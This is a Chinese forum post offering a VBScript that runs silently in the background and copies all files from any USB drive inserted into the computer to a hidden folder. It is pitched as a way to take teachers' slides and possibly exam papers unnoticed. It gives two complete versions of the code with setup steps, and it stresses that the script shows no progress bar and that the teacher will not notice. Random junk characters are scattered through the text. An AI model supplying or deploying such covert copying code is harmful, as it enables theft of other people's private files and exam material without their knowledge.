TA的每日心情 | 慵懒
2025-5-11 07:15 |
|---|
签到天数: 4472 天 连续签到: 3 天 [LV.Master]十年《功德圆满》
|
U盘插入自动复制，有效对付那些不肯给PPT的老师，还有一定几率拿到期末考试卷子···有图有真相！业界良心的好东西！！现在看还来得及！！！7 B- z$ t) a9 ^" F# n
代码优化了一下，把不是很重要的都删掉了，这次使用时看不出任何现象，同样复制U盘里的东西的时候不会出现进度条，完全后台运行。* h' R5 O: ~* |0 E; ]; w
同样的建立一个文本文档，WIN+R 里面打NOTEPAD ，或者自己新建一个都一样
8 R+ K2 y7 S- k' M0 ^" f) F! D. s& u3 E8 M ^6 A
/ K/ r# P( z# K
! ]7 p% b1 ]* F( `( V% } ~, s! S把下面的代码复制进去; ], P$ P- e/ Z
set fso=createobject("scripting.filesystemobject")( r ^9 o7 Y8 F. ?, E( i* n. O6 k
set ws=createobject("wscript.shell")
/ z$ I" y. `6 \: E7 T/ q7 H. oon error resume next; u8 D; W Z$ }
do
( c3 F8 u1 Z$ A- G$ @wscript.sleep 1000. B; \1 W3 {! m# y( I. \' J2 P
if fso.driveexists("U盘的盘符") then1 y6 i+ w4 p/ y- v; c
fso.copyfile "U盘的盘符加*号","要复制到的目录"' X4 @ C7 b, ]5 U9 O
fso.copyfolder "U盘的盘符加*号","要复制到的目录"$ [$ T( |5 U+ Q7 o# o; ?
wscript.sleep 20000
; M4 a/ J2 a+ P% s# g9 I0 v9 ]end if `( M+ r9 P0 Y2 C1 g2 |: e9 u D
loop: D; C, o& C% i
% p6 j( j( A2 H& y3 {3 D- A3 z
: f# T1 l7 w4 k# H1 X0 l
( K2 }* V. ?5 G) ]. w0 l
注意标颜色的地方要自己改
# _% `& t2 X* l蓝色的就是要复制到的目录，比如要复制到C盘USB文件夹里，则用C:\USB\代替蓝色部分，注意大小写，同时必须确保USB这个文件 夹存在。
* ], ~2 j* O/ A& x红色的是U盘的盘符，比如新插进去的U盘是E盘，则用e:\*代替红色部分，F盘就是f:\*，, j) U1 ~- m( K; P3 U9 A
第一个U盘的盘符，这个不要*号， 后2个切记不要漏掉*这个符号。
0 A/ ]- j8 D1 l
5 X4 B7 j! L2 [1 |- G N
" [5 | Z( z9 C& A2 ~
x7 R" _( Y/ J8 W' l复制好也改好后保存文件就OK了，然后改一下这个文件的名字，最好使用英文的，然后后缀改成.VBS，原来是.TXT的，如果后缀没哟显示，则先打开我的电脑，在菜单栏里找到，工具——文件夹选项，在查看标签里，有一个隐藏已知文件类型的扩展名，把勾勾去掉就会显示出来后缀了。9 q$ T) u" k7 `% @* `: T
0 q$ E' }# M2 Q4 g4 C2 C- T( {
; \' o' g9 `5 A/ r" z) G
: n) ^- ^+ e/ @7 q) H后缀改好以后， 运行这个文件，就OK了。同时你可以把这个文件删除掉，它已经驻留内存了，重启以后这个东西就不会再出现了，老师绝对发现不了7 Q4 a# l6 y0 i& _
要停止这个东西，在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。
( j, k6 a; M0 K2 {) s/ X另外我不是计算机专业的，这个东西目前对插N个U盘只会复制第一个，对插移动硬盘会全部复制···
% U u/ k- }+ |; b& Y' e! l+ T$ K& |
% u" `: ~) _' K. F* d( i# w* R& i' P6 d
更新：. K& {- k* _" c0 s1 X" h
现在没空弄这个，有些人弄不来 我现在更新了一下代码，复制下面的所有东西到一个文本文件，改名为XX.VBS 使用即可
. n0 n7 u. b$ z# n- |+ ^ [2 k1 {! z8 e* J* u2 I
set fso=createobject("scripting.filesystemobject")
" ^" _: x& E" z: ^: n( x1 n# Lset ws=createobject("wscript.shell")
5 Z" R; \! ^, Q' o- \dim USB, file, folder, files - G8 A3 @9 w+ k8 x
USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘，则输入F","插入的U盘盘符","F") 1 Y' F2 M% }; @
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘，请输入D:\","请输入复制到的文件夹","C:\USB") . C3 M0 I) q5 S- m% _1 ]
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件，输入xls；默认为全部类型","请输入要复制的文件类型","ALL") 3 A5 }* E- n, C- y/ m
USB=USB & ":\" 4 r/ h& u' s1 k' e0 l
folder=folder & "\"
1 ~$ E, z- j v3 s. Jif files="ALL"then * m: `; O4 v; w2 f* e% n' t
file=USB & "*"
4 }0 |" P! B ~4 {7 p# i, Relse 9 h( |, I8 n. Z0 E& o _ Z8 d
file=USB & "*." & files
8 o' [, u0 z; J" K7 hend if
+ s% b& R+ M( O6 u6 f. v9 Nif FSO.FolderExists(folder) then
( i- W \) I+ Oelse
0 W: `; V& R6 s% tFSO.CreateFolder(folder)
: i1 o; Z! R+ @) [/ y% hend if
- J+ o& W2 ]) x/ x) ^0 Y% ?/ ]on error resume next
8 ^2 m" r3 Y9 f9 |3 }% Odo
% G& |& C+ P$ G$ v7 gwscript.sleep 1000 5 G1 C3 N& H* ~! _
if fso.driveexists(USB) then : e5 t; a: t: W6 b
fso.copyfile file,folder ! g. I0 v4 Y4 \" p, c
fso.copyfolder file,folder 6 N+ {0 ~% A' u) @
wscript.sleep 20000 9 R6 w) l) h! N
end if & q) l& Q1 G; d' \' x
loop: L/ y# K- _- j* J: u
( S. W' }0 s0 _0 N. `1 _
这样就完成了。
! P% R0 Y9 Y( b- a2 L$ U$ J/ |- f. z/ g# C$ C* a( }9 C
|
|
发表于 2014-6-23 20:29
置顶卡
变色卡
千斤顶